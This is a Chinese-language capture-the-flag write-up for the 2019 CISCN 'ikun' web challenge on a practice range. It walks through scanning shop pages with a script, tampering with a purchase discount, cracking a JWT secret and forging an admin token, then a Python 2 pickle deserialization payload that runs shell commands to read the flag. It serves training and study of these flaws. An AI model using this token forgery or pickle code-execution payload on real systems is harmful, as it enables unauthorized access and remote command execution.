2019ciscn-ikun

本文最后更新于 2024年9月4日 晚上

题目

在线靶场

一个生成的网站,有提示需要买到Lv6,然后就没有然后了

分析

下面有很多Lv2-Lv5的,可以尝试写个脚本找到网页

点击图片看名称,src="/static/img/lv/lv3.png"写脚本爆一下看看哪页有lv6.png的内容

1
2
3
4
5
6
7
8
import requests

url = "http://c66eb3e7-b146-49bb-b9c7-e58d5fef7173.node5.buuoj.cn:81/shop?page="
for i in range(0, 300):
response = requests.get(url+str(i))
if "lv6.png" in response.text:
print(i)
break

可以在181页找到内容,这里先常规注册一个账号,给了10price

2024-09-04155642

很明显需要尝试改一下内容,购买的时候抓包一下,把discount改的很小就行

2024-09-04160139

然后应该考察的内容是cookie的内容,发现有jwt,用jwt网站看一下内容,修改成admin需要有密钥,用工具可以跑一下

1
git clone https://github.com/brendan-rius/c-jwt-cracker.git

然后根据github上面的要求docker一下就行了,得到了密钥进行修改,将新的jwt修改发包刷新,看到一个压缩包,解压在Admin.py里发现了pickle的moudle,注意到有pickle的利用,在这边进行突破,最后得到flag

解题

用分析的脚本搜索,进入?page=181,然后点击购买就行抓包,利用jwt修改admin,需要爆破密钥

2024-09-04161841

得到密钥是1Kun,随后修改得到可用的jwt

2024-09-04165203

1
eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJ1c2VybmFtZSI6ImFkbWluIn0.40on__HQ8B2-wM1ZSwax3ivRK4j54jlaXv-1JjQynjo

修改成为admin,看网页的源码得到下载的www.zip定位到Admin.py里面的pickle,找到关键代码

2024-09-04162728

尝试写利用脚本,这里需要注意的是用python2的环境,而且os.system并不会成功打通,可以使用commands进行利用

1
2
3
4
5
6
7
8
9
10
import pickle
import urllib
import commands
class exp(object):
def __reduce__(self):
return (commands.getoutput,('ls /',))

orange = exp()

print(urllib.quote(pickle.dumps(orange)))

先ls找到了flag.txt,然后cat /flag.txt,就可以得到flag了

2024-09-04164924


2019ciscn-ikun
https://0ran9ewww.github.io/2024/09/04/每日一题/2019ciscn-ikun/
作者
orange
发布于
2024年9月4日
许可协议